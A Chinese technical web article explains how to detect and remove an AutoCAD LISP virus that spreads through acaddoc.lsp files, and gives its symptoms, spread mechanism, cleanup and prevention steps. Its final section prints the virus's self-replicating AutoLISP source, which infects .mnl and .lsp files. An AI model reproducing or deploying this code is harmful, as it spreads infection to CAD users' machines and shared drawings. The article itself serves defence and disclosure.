電話:18081632026          QQ:185904051

西昌市瑞均規(guī)劃設(shè)計有限公司

設(shè)計,為更有效傳播
您現(xiàn)在的位置:首頁 > 技術(shù)詳情
如何根除導(dǎo)致AUTOCAD開圖卡頓甚至無響應(yīng)的CAD病毒?
來源:CAD小苗 | 作者:rjghsj | 發(fā)布時間: 2021-01-15 | 651 次瀏覽 | 分享到:
如何根除導(dǎo)致AUTOCAD開圖卡頓甚至無響應(yīng)的CAD病毒?
病毒簡介:
      該病毒可以被卡巴斯基和360殺毒軟件查出,卡巴斯基查出病毒名為Virus.ALS.pasdoc.a,360殺毒軟件查出病毒名為Trojan.Script.29327。遺憾的是,卡巴斯基和360查毒軟件均不能講器徹底清除。

中毒癥狀:
      機(jī)器中毒時,運行CAD時,沒打開一個DWG文件,均在DWG文件所在目錄生成一個acaddoc.lsp的文件。每次開圖,此病毒程序會被自動加載并進(jìn)行一次病毒傳播復(fù)制過程,病毒文件增大到一定程度后就會導(dǎo)致CAD開圖速度極慢設(shè)置導(dǎo)致CAD停止工作。
用記事本打開圖紙目錄下的acaddoc.lsp文件,或CAD安裝路徑下的SUPPORT目錄下的任意一個*.lsp文件,如果文件中含有與底部所附相同代碼,即可判定為中毒。

傳播機(jī)理:
      通過分析病毒的源代碼,初步了解其傳播機(jī)理如下:
如果機(jī)器已經(jīng)中毒,CAD打開新的DWG文件時,病毒程序就會自動加載。病毒會搜索CAD工作目錄下的acad.mnl文件,感染*.mnl文件,搜索acad的支持文件目錄,感染目錄下的所有*.lsp文件。同時病毒在但當(dāng)前打開的DWG文件所在目錄下生成acaddoc.lsp文件,如果將圖紙發(fā)送到其他機(jī)器時帶上了這個LSP文件,只要在那臺機(jī)器打開DWG,病毒就會起作用。如果將圖紙放到服務(wù)器或共享目錄下,而打開圖紙的人有寫目錄的權(quán)限,其他人打開這張圖紙也會感染病毒。

清除步驟:
      1、首先退出CAD。
      2、全盤搜索acadapg.*/acadapp.*/acaddoc.*文件,然后徹底刪除上述文件。
      注意在查找前在文件夾選項中設(shè)置“顯示所有文件與文件夾”以及取消“隱藏受保護(hù)的操作系統(tǒng)文件”。搜索時選擇“查找所有文件及文件夾”,然后再“高級選項”里勾選“搜索系統(tǒng)文件夾”“搜搜隱藏的文件和文件夾”“搜索字文件夾”。
      如果搜出的文件無法刪除,則先清空回收站,再搜索刪除。
      在一些專業(yè)軟件,如天正、浩辰、探索者等的目錄下也會有acaddoc.lsp文件,如果不確認(rèn)是否被感染,請一并刪除。如果刪除后這些專業(yè)軟件啟動不正常,可以重新安裝。
      3、查看C盤根目錄下是否有boot.dat文件,如果有的話,也將它刪除的IAO。
      4、進(jìn)入當(dāng)前用戶的application DATA目錄(在WINDOWS資源管理器或開始運行里輸入%APPDATA%)可以快速進(jìn)入此目錄,找到AutodeskAutocad xxxx下面對應(yīng)版本的Support目錄,用記事本打開該目錄下的所有*.mnl文件,手動刪除與底部相同的代碼(一般都在文件末尾),然后保存。然后將修改后的所有*.mnl文件屬性設(shè)置為“只讀”。
      5、進(jìn)入CAD安裝目錄下的support目錄,將改目錄下的所有*.LSP用記事本打開,手動刪除病毒代碼。處理完記得將屬性設(shè)置為“只讀”。
      6、如果本機(jī)安裝有多個版本的CAD,都需按上述步驟檢查一次。
4-6三步處理太麻煩,處理不好還容易導(dǎo)致CAD或LSP無法運行,所以遇到這種問題干脆將CAD徹底卸載,然后將APPDATA和安裝目錄中殘余的文件都刪除,重新安裝CAD。

預(yù)防措施:
      此病毒是通過讀取圖紙文件所在目錄下的acaddoc.lsp來傳播的。在接受其他人發(fā)過來的文件夾或壓縮包時,不要直接打開圖紙,應(yīng)首先檢查一下文件夾中是否還有此病毒文件。如果有的話,刪除掉,同時也要告訴他有可能中毒了,并提醒其他同事或合作伙伴有中毒的危險。這一步是最重要的!從源頭上把病毒堵住,就不會感染病毒了!
      病毒會感染SUPPORT目錄下的*.lsp文件,如果我們有一些常用的LSP程序,不要直接復(fù)制到CAD的SUPPORT目錄,可以新建一個文件夾,將自己常用的程序放到此目錄下,然后再選項OP對話框中將此目錄設(shè)置為支持文件搜索路徑。
將CAD中相關(guān)目錄的*.mnl和*.lsp設(shè)置為只讀,防止病毒將代碼添加到這些文件中。
      安裝上360或卡巴斯基等殺毒軟件,接受他人傳來的文件首先殺毒。
      不要從服務(wù)器或其他共享目錄下直接打開DWG文件,將DWG文件復(fù)制到本地后再打開,如果必須在共享目錄下工作,如果發(fā)現(xiàn)有類似病毒的LSP文件,必須讓有管理權(quán)限的人及時處理,然后再對本機(jī)進(jìn)行徹底清查。
如何預(yù)防CAD病毒?

病毒代碼:
      下面是從網(wǎng)友200MB的LSP文件中摘取的一段代碼,應(yīng)該是病毒的基礎(chǔ)代碼:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
 (setq flag nil)
 (setq flag1 t)
 (if (findfile target)
   (progn
     (setq wjm1 (open target "r"))
     (while (setq text (read-line wjm1))
   (if (= text bz) (setq flag1 nil))
   );while
     (close wjm1)
     );progn
   );if
 (if flag1
   (progn
     (setq wjm (open source "r"))
     (setq wjm1 (open target "a"))
     (write-line (chr 13) wjm1)
     (while (setq text (read-line wjm))
   (if (= text bz) (setq flag t))
   (if flag
     (progn
       (write-line text wjm1)
       );progn
     );if
   );while
     (close wjm1)
     (close wjm)
     );progn
   );if
 );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
 (progn
   (setq acaddocpath (vl-filename-directory dwgpath))
   (setq acaddocfile (strcat acaddocpath "\acaddoc.lsp"))
   (setq mnln 0)
   (while (< mnln mnlnum)
     (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     (app mnlfilename acaddocfile bz)
     (app acaddocfile mnlfilename bz)
     (setq mnln (1+ mnln))
     );while
   (setq lspn 0)
   (while (< lspn lspnum)
     (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
     (app lspfilename acaddocfile bz)
     (app acaddocfile lspfilename bz)
     (setq lspn (1+ lspn))
     );while
   );progn
 );if
(setq mnln 0)
(while (< mnln mnlnum)
 (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
   (app mnlfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
   (app mnlfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln (1+ mnln))
 );while
(setq lspn 0)
(while (< lspn lspnum)
 (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
   (app lspfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
   (app lspfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
 (setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)
      然后這個文件后面還會多次重復(fù)加載acadapq和acadapp,上面的代碼頁會被多次復(fù)制,感覺病毒還會復(fù)制其他LSP文件的代碼。文件一旦復(fù)制增大到一定程度,CAD開圖的時候重復(fù)運行大量代碼,肯定會變慢甚至停止工作。